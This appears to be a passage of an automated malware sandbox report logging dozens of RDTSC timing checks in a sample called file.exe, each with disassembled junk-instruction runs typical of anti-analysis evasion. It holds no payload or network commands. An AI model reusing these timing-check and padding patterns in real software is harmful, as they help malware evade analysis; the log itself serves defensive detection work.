Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F9BE second address: A7F9C8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5C0825216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FB32 second address: A7FB3C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE5C0825166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FE14 second address: A7FE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FFA9 second address: A7FFB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C7D7 second address: A0C7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C0825224h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C7EF second address: A0C7F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C7F3 second address: A0C7FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C7FC second address: A0C801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C801 second address: A0C836 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Dh 0x00000007 jmp 00007FE5C0825224h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007FE5C082521Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4502B second address: A45031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45115 second address: A45119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45119 second address: A45130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c ja 00007FE5C0825168h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45130 second address: A45145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE5C0825216h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45145 second address: A4514A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4514A second address: A45150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45150 second address: A45154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45154 second address: A45158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45158 second address: A4516A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45290 second address: A45294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45294 second address: A45298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45298 second address: A452BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5C0825228h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A452BB second address: A452C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A452C1 second address: A452C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A452C7 second address: A45306 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE5C0825166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FE5C0825168h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 sub dword ptr [ebp+122D33A0h], edi 0x0000002d push eax 0x0000002e pushad 0x0000002f push edx 0x00000030 push edx 0x00000031 pop edx 0x00000032 pop edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453D5 second address: A453DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453DB second address: A453DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A454D1 second address: A454D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45583 second address: A45587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45587 second address: A455D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b mov edx, ebx 0x0000000d push ebx 0x0000000e jmp 00007FE5C082521Eh 0x00000013 pop edi 0x00000014 push 00000004h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FE5C0825218h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 movzx ecx, cx 0x00000033 nop 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 push ebx 0x00000038 pop ebx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45D43 second address: A45D62 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE5C082516Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE5C082516Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45D62 second address: A45D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45D66 second address: A45D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45D6C second address: A45DA9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE5C082521Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jnl 00007FE5C0825222h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 jmp 00007FE5C0825220h 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45E59 second address: A45E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87A23 second address: A87A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C0825224h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87A3D second address: A87A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87A41 second address: A87A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE5C0825220h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jmp 00007FE5C082521Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87A74 second address: A87A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87A79 second address: A87A82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45D4D second address: A45D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5C082516Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87BFB second address: A87C0C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5C0825216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87C0C second address: A87C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87D7E second address: A87D99 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FE5C0825222h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87D99 second address: A87DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8832C second address: A88330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88330 second address: A8833C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jl 00007FE5C0825166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8833C second address: A88370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5C082521Fh 0x00000008 jmp 00007FE5C0825220h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88370 second address: A88376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88376 second address: A88385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jo 00007FE5C0825216h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A884FF second address: A88505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B2ED second address: A8B2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B433 second address: A8B446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C082516Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B446 second address: A8B45E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B45E second address: A8B464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B464 second address: A8B468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B468 second address: A8B473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B473 second address: A8B47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE5C0825216h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B47E second address: A8B483 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DD96 second address: A8DDB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FE5C0825216h 0x00000009 jmp 00007FE5C0825223h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DDB4 second address: A8DDD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FE5C082516Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DDD0 second address: A8DDE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE5C082521Bh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DDE4 second address: A8DDEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DDEA second address: A8DDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91B30 second address: A91B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE5C0825166h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007FE5C082516Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91B4E second address: A91B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FE5C0825216h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91B5D second address: A91B82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c jo 00007FE5C0825166h 0x00000012 pushad 0x00000013 popad 0x00000014 jnl 00007FE5C0825166h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91B82 second address: A91B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91B8B second address: A91B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91B8F second address: A91B95 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92273 second address: A92295 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007FE5C082516Eh 0x0000000e je 00007FE5C0825166h 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92295 second address: A92299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92299 second address: A9229D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A458D0 second address: A458E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C082521Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A458E1 second address: A458E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45AC9 second address: A45AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 or dword ptr [ebp+122D3379h], ebx 0x0000000e push 0000001Eh 0x00000010 or cx, D300h 0x00000015 nop 0x00000016 jmp 00007FE5C0825220h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98942 second address: A98948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98948 second address: A98958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C082521Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98958 second address: A98986 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5C0825166h 0x00000008 jne 00007FE5C0825166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FE5C0825176h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98986 second address: A9898A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9898A second address: A98996 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FE5C0825166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0767C second address: A07690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FE5C082521Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07690 second address: A076A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jnl 00007FE5C0825166h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A076A1 second address: A076B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825220h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B8D6 second address: A9B8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B8E0 second address: A9B8E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B8E4 second address: A9B8E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B8E8 second address: A9B8FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE5C082521Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3474 second address: AA34B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE5C0825179h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE5C0825174h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA34B6 second address: AA34C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE5C0825216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA35F9 second address: AA35FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA417A second address: AA41D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C0825229h 0x00000009 popad 0x0000000a jmp 00007FE5C082521Eh 0x0000000f jmp 00007FE5C0825228h 0x00000014 push edx 0x00000015 jng 00007FE5C0825216h 0x0000001b pushad 0x0000001c popad 0x0000001d pop edx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FE5C082521Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4515 second address: AA451B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA451B second address: AA4525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE5C0825216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4ADE second address: AA4B06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jg 00007FE5C0825166h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4B06 second address: AA4B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4B0D second address: AA4B12 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4B12 second address: AA4B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4B1A second address: AA4B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
